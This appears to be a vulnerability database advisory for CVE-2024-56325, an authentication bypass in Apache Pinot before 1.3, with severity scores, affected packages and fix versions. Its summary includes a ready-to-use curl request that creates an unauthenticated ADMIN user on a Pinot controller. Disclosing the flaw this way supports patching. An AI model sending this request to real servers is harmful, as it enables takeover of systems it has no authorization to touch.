TI-2024-37286 Aliases CVE-2024-56325 GHSA-6jwp-4wvj-6597

Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

CRITICAL 89CWE-288Published 2025-04-01 · Updated 2025-10-27

Key facts

Attack vector: Network
Privileges required: None
User interaction: None
Attack complexity: Low
Impact type: Security bypass
Confidentiality · integrity · availability: High · High · High
Fix status: Fixed

Attack profile from CVSS 3.1 · CISA ADP. Fix status from CNA and GitHub. Impact type from CWE-288.

Summary

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV

EPSS 0.80212 99th percentileScored 2026-11-07

Fix Fixed Apache Pinot (Apache Software Foundation): 1.3org.apache.pinot:pinot-broker (Maven): 1.3.0+2 more products

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation: None
Automatable: Yes
Technical impact: Total

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

Vendor	Product	Affected versions	Fixed in	Status	Source
Apache	Apache Pinot	before 1.3	1.3	Patch available	CNA
—	org.apache.pinot:pinot-broker (Maven)	0.8.0 to before 1.3.0	1.3.0	Patch available	GHSA-6jwp-4wvj-6597
—	org.apache.pinot:pinot-common (Maven)	0.8.0 to before 1.3.0	1.3.0	Patch available	GHSA-6jwp-4wvj-6597
—	org.apache.pinot:pinot-controller (Maven)	0.8.0 to before 1.3.0	1.3.0	Patch available	GHSA-6jwp-4wvj-6597

Apache Pinot VendorApache Affected before 1.3 Fixed in 1.3 Patch available CNA
org.apache.pinot:pinot-broker (Maven) Vendor— Affected 0.8.0 to before 1.3.0 Fixed in 1.3.0 Patch available GHSA-6jwp-4wvj-6597
org.apache.pinot:pinot-common (Maven) Vendor— Affected 0.8.0 to before 1.3.0 Fixed in 1.3.0 Patch available GHSA-6jwp-4wvj-6597
org.apache.pinot:pinot-controller (Maven) Vendor— Affected 0.8.0 to before 1.3.0 Fixed in 1.3.0 Patch available GHSA-6jwp-4wvj-6597

CPE configurations NVD · 1

CPE	Versions	Role	Vendor
cpe:2.3:a:apache:pinot::::::::	before 1.3.0	Vulnerable	Apache

cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:* Versions before 1.3.0 Vulnerable ·Apache

Remediation

Fix · CNA Apache Pinot (Apache Software Foundation) Fixed in 1.3
Fix · GHSA-6jwp-4wvj-6597 org.apache.pinot:pinot-broker (Maven) Fixed in 1.3.0 Advisory →
Fix · GHSA-6jwp-4wvj-6597 org.apache.pinot:pinot-common (Maven) Fixed in 1.3.0 Advisory →
Fix · GHSA-6jwp-4wvj-6597 org.apache.pinot:pinot-controller (Maven) Fixed in 1.3.0 Advisory →

Timeline

2026-10-02 Threatist record created from CVE-2024-56325
2026-10-03 Alias added: GHSA-6jwp-4wvj-6597

References

Advisory 3

Other 5

TI-2022-09576 Code injection in Apache Pinot CVSS 3.1CRITICAL 9.8
TI-2024-26600 Apache Pinot: Unauthorized endpoint exposed sensitive information CVSS 3.1HIGH 7.5
TI-2022-07939 Pinot segment push endpoint has a vulnerability in unprotected environments CVSS 3.1HIGH 7.5

Sources

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